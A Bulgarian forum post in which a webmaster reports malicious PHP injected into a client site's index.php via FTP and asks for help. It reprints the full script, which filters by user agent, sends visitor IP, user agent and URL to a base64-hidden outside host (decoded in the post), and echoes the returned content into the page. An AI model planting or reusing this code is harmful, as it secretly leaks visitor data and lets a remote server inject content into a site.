Внимание: Скрипт – Троянски кон !

[kalybg]

Здравейте туристи ,

Мои клиенти се оплакаха че когато отварят техния сайт им изписва че страницата е заразена или по- скоро че съдържа троянски кон. Този проблем не винаги се получава при отваряне на страница – по 2-3 на седмица.

И така свързах се с хостинг доставчика – и ми казаха че е влизано по FTP от IP адрес - Франция.
Как и да е … бозата е пълна. Започнах да гледам кои файлове са редактирани последно и да търся причината за това. И така започнах от index.php/ html – и веднага ми излезна скрип който е доста подозрителен … ето го и него :

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 

'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr

($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER

['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER

['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

За съжаление не знам какво изпълнява този скрипт /не разбирам / но от Касперски ми дава тази информация:

HEUR:Trojan.Script.Generic
Objects covered by this classification delete, block, modify, or copy information, and disrupt the performance of computers or computer networks.

След като разкодирах дадената стойност в скрипта :

aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw
се получи това: http://mbrowserstats.com/statE/stat.php

Споделям това с вас - ако на някой му се е случвало да знае къде и как да търси ....

Между другото и на много други сайтове ми се е случвало да излиза този проблем ...

Поздрави ...